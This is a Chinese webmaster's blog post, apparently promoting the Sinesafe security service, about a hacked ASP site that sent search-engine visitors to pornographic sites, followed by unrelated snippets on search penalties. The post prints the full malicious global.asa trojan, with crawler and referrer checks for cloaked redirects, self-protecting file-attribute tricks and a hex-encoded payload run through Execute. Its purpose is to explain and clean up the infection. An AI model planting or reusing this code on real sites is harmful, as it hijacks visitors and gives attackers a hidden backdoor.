网站被黑 站长的解决办法

  最近单位网站在百度搜索点击打开都是黄色的,而直接输入网址反而没问题,在百度搜索中被提示为网站被黑的可能,很多客户搜索我们网站都进入了黄色网站,给公司的形象造成了很大的影响,作为公司的网站技术人员,以前也算是搞了5年的老站长了,什么事没惊着,从头开始分析网站被黑的原因。

  百度的收录为基础

  在百度Site下自己网站发现收录了许多色情类内容快照,什么电影,什么美女主播,看了收录足足300多条快照,再看下网站首页的收录,发现已经面目全非了,百度快照都是空的。网站的标题都成了网站的地址了,内容也为空了。我这才意识到完了,网站肯定是被K了。

  打开其中任意一个地址,直接跳转到了黄色网站上,网站地址是:http://mrr.8800.org/mm/

  如下图:

  

  问题慢慢浮出水面

  首先问题的表面就是网站的收录剧增,都是收录一些恶意的内容和违法的内容(包括时时彩色情什么的)。再一个表面特征是从搜索引擎来的点击会自动跳转到黄色网站上,自己输入网站则不会出现跳转。这时我充分的确定了是网站程序的问题,登陆空间FTP发现网站根目录下有许多陌生的文件夹,里面的网站文件打不开也删不掉,老提示没有权限删除。再往下级目录查看时发现了一个古怪的文件名,是global.asa 用sinesafe木马检测工具检测出是木马文件,内容如下:

  < script runat="server" >

  '网站全局文件

  sub Application_OnStart

  end sub

  sub Application_OnEnd

  end sub

  Public Function GetHtml(url)

  Set ObjXMLHTTP=Server.CreateObject("MSXML2.serverXMLHTTP")

  ObjXMLHTTP.Open "GET",url,False

  ObjXMLHTTP.setRequestHeader "User-Agent",url

  ObjXMLHTTP.send

  GetHtml=ObjXMLHTTP.responseBody

  Set ObjXMLHTTP=Nothing

  set objStream = Server.CreateObject("Adodb.Stream")

  objStream.Type = 1

  objStream.Mode =3

  objStream.Open

  objStream.Write GetHtml

  objStream.Position = 0

  objStream.Type = 2

  objStream.Charset = "gb2312"

  GetHtml = objStream.ReadText

  objStream.Close

  End Function

  Function check(user_agent)

  allow_agent=split("Baiduspider,Sogou,baidu,Sosospider,Googlebot,FAST-WebCrawler,MSNBOT,Slurp,QihooBot,YoudaoBot,iaskspider",",")

  check_agent=false

  For agenti=lbound(allow_agent) to ubound(allow_agent)

  If instr(user_agent,allow_agent(agenti))>0 then

  check_agent=true

  exit for

  end if

  Next

  check=check_agent

  End function

  Function CheckRefresh()

  CheckRefresh = False

  Dim Botlist,i,Repls

  Krobotlist = "baidu|google|sogou|soso|yahoo|bing|youdao|qihoo|iask"

  Botlist = Split(Krobotlist,"|")

  For i = 0 To Ubound(Botlist)

  If InStr(left(request.servervariables("HTTP_REFERER"),"40"),Botlist(i)) > 0 Then

  CheckRefresh = True

  Exit For

  End If

  Next

  End Function

  sub Session_OnStart

  On Error Resume Next

  .servervariables("Path_Translated")

  Set s=Server.CreateObject("scripting.filesystemobject")

  set f=s.Getfile("//./" & Server.MapPath("/global.asa"))

  v=Request.Form&Request.QueryString

  if instr(v,".asa")>0 then

  f.Attributes=39

  response.end()

  end if

  if instr(name,";")>0 OR instr(server.MapPath("."),".as")>0 then

  s.Getfile(name).Attributes=0

  s.DeleteFile(name)

  f.Attributes=39

  response.end()

  end if

  S="636e6e62643d6c6361736528726571756573742e736572766572:O="":For i=1 To Len(s) Step 2:c=Mid(s,i,2):If IsNumeric(Mid(s,i,1)) Then:Execute("o=o&chr(&H"&c&")"):Else:Execute("o=o&chr(&H"&c&Mid(s,i+2,2)&")"):i=i+2:End If:Next:execute o

  end sub

  看了这些代码我都有点懵圈了。

  Baiduspider,Sogou,baidu,Sosospider,Googlebot,FASTWebCrawler,MSNBOT,Slurp,Qihoo" 这一行代码 就是搜索引擎的条件跳转代码,也就是说这个木马是根据搜索引擎来的,只要是从百度和搜狗还有谷歌来的都会直接跳转到他设定的网站。

  还有一些是二进制的代码,是加了密的,我对解密不太懂,但是我的分析是他设定的跳转网址。找了几个朋友一起看了下代码,我的好朋友老刘说还有个条件跳转,是根据cookies和ip来跳转的,同一个IP和cookies只会弹窗一次,不会弹窗第二次。 黑客的手法也很高明,可见为了利益用了那么阴险的招。这种代码很安全,几乎不会让站长察觉到。

  既然根源找到,解决游刃有余

  把网站程序源码从空间下载了下来,放到sinesafe木马检测工具检测,又发现了许多木马文件,其中有global.asa z.aspx cende.asp phzLtoxn.php ,我在这里就不公布木马代码了,废话不多讲,直接点击清除木马,木马统统删除。ftp里删不掉的文件,找了空间商让他们在服务器里直接删除清空了目录。 最后一步就是要把网站的后台密码改掉,去年的csdn密码泄密事件搞的真让人担心,之前我是吃过亏,csdn密码和我的邮箱密码都用的一样的,导致我邮箱被盗,支付宝都被提现了,这亏吃的我是一辈子都记得,一朝被蛇咬十年怕井绳啊!

  密码改掉后数据库的地址也要改掉,然后把清除木马的网站文件重新备份了一边,重新上传到空间,网站访问正常,之前被黑客攻击留下的百度痕迹需要到百度投诉中心提交一下,把网站被黑的原因写上,等百度的更新期,问题才得以解决.

  一路的走来,非常的艰辛,经历才是最宝贵的,也希望上面的解决经历能够帮到更多需要帮助的人。每个站长的经历都不一样,都能无私共享一下,那么,我们站长的路会走的更远!本文章内容来源 服务器安全 www.sinesafe.cn A5首发欢迎转载,转载请注明作者和出处。谢谢!

时间: 2024-10-23 23:59:31

网站被黑 站长的解决办法的相关文章

网站被google降权解决办法

网站被google降权解决办法? 很多人如果是第一次做网站,然后突然被google降权了,会不知所措吧,我的站也被google 降权了,就是半个月的事情了,开始那心情真的是不爽啊,后来跑到www.111cn.net网上看了许多老站长们写的文章我就按照他们的方法去作,今天大早一起来就OK了, 好了,下面我们来看看我是怎么把我降权的网站在短短的15天之内又恢复到以前的流量吧,其实也没什么办法了,首先我们做站是给网友看了,所以我们只要一直坚持更新,并把以前过份seo 的问题处理掉,然后再把后面增加的文

网站运营,站长必须解决的七大瓶颈!

解决|站长|网站运营|瓶颈 许多站长在网站发展的每个阶段,都会遇到不同的难点,本文从以下七个方面分析如何突破网站的阶段性瓶颈问题. 一.网站定位瓶颈 网站建设之初,往往出现的就是定位问题.网站定位的模糊性,会迫使站点一次又一次的改版,最终迷失方向.但这个阶段,大多数站长怀着对新领域的喜爱,都会坚持下去.特别是随着对目标用户的研究及网站盈利点的挖掘,才会慢慢解开网站发展方向性的症结.难度系数:10% 二.网站推广瓶颈 网站上线后,大多数站长都急于将站点推广出去,让网站获得足够的曝光,特别是能吸引到

系统讲解几种网站降权形式以及解决办法

做网站,经常会遇到各种降权的情况,也就是我们所说的K站.笔者总结了几种常见的网站被K形式,并附带有解决办法,希望能对一些朋友有所帮助.   为区别被降权的程度,笔者把常见的K站分为两大派系:大K和小K.小K一般有以下几种情况: 第一种:内页被K或者是收录不断减少,而首页快照正常. 很多朋友做网站经常就会遇到这种情况,其实原因比较单一,通常这种情况是由于网站内容大量的采集和复制,真正原创文章很少,所以会造成那些被收录的网页, 在经过一段时间之后不断的减少.这种其实就是百度收录网页之后,对比它已有的

被百度降权网站流量减少了的解决办法

中介交易 http://www.aliyun.com/zixun/aggregation/6858.html">SEO诊断 淘宝客 云主机 技术大厅 作为网站管理人员估计都会碰到这样的情况:昨天从百度那来的流量还很正常.有好几千甚至上万,但今天怎么百度就给这么点流量了呢甚至一个都不给,被百度降权了吗?我的个人站点最近也碰上了被百度降权网站流量减少的情况,原本每天百度能给我带来3000IP左右的流量,而且很稳定,只增无减,但突然一个月前的某一天,发现流量严重减少,只有原来的十分之一,上百度s

Android 避免APP启动闪黑屏的解决办法(Theme和Style)

闪黑屏的原因主要是我们启动Activity的时候,需要跑完onCreate和onResume才会显示界面   前几天Boss就反应说,机器每次启动程序都会闪一下黑屏,这个客户不接受.没办法,只能想想怎么解决,最后找到了下面的方法.闪黑屏的原因主要是 我们启动Activity的时候,需要跑完onCreate和onResume才会显示界面.也就是说需要处理一些数据后,才会显示.按照这种思路,是不 是我把初始化的工作尽量减少就可以避免黑屏?事实是,就算你onCreate啥都不做,仍然会闪一下黑屏,因为

WIN2008系统安装IIS7配过ASP后打开ASP网站为500错误的解决办法_win服务器

访问ASP网站时总是提示:"500 - 内部服务器错误.您要查找的资源有问题,无法显示." 上面显示的是IIS的友好报错,按下面的步骤把详细错误显示出来! 1.在IIS管理器→ASP里,把错误信息发送到浏览器这个选项开启(True),并注意在IE设置里去掉"显示友好的错误":2.然后在"错误页"设置选项里,双击500那一行,再点文件按路径后面的"设置".在跳出的对话框中将"相对文件路径"里的文件名改为&qu

恶意网站4255.biz的完美解决办法_病毒查杀

问题提出和症状:最近上网碰到这个网站(4255.biz),无意中了它的招,之后每当访问其他网站的时候,都会从4255.biz 上下载数据,并且其他网站都不能下载完整,不能正常访问,郁闷了好久,尤其是带框架的网站干脆就出不来. (该图为诺顿报毒和处理结果)分析:(此分析内容为C.I.S.R.T.博客小陌摘录) 打开该网页后,就可以看到三个恶意网址: 001.htm用到的是MS07-017漏洞的网马:002.htm用到的是MS06-014漏洞的网马:003.htm会下载ccc.html(其实是个ch

Android 避免APP启动闪黑屏的解决办法(Theme和Style)_Android

前几天Boss就反应说,机器每次启动程序都会闪一下黑屏,这个客户不接受.没办法,只能想想怎么解决,最后找到了下面的方法.闪黑屏的原因主要是我们启动Activity的时候,需要跑完onCreate和onResume才会显示界面.也就是说需要处理一些数据后,才会显示.按照这种思路,是不是我把初始化的工作尽量减少就可以避免黑屏?事实是,就算你onCreate啥都不做,仍然会闪一下黑屏,因为初始化解析界面时需要一定时间.下面是解决办法:1.自定义Theme 复制代码 代码如下: 设置背景图Theme<s

谷歌被墙打不开导致WordPress网站访问变慢的解决办法

中介交易 http://www.aliyun.com/zixun/aggregation/6858.html">SEO诊断 淘宝客 云主机 技术大厅 前些天同志发现谷歌打不开了,经查询得知谷歌在香港的服务器已经搬回美国,所以导致在大陆打不开谷歌相关的所有网页和产品. 由于谷歌被墙,wordpress建站的一些同学也都发现网站打开速度相当的慢,我的网站亦如此,直到今天上午我的网站打开速度也很慢,果断一查,发现在加载的文件中还有一条代码是调用的谷歌的CSS. 今天我来说说怎么解决这个问题.其实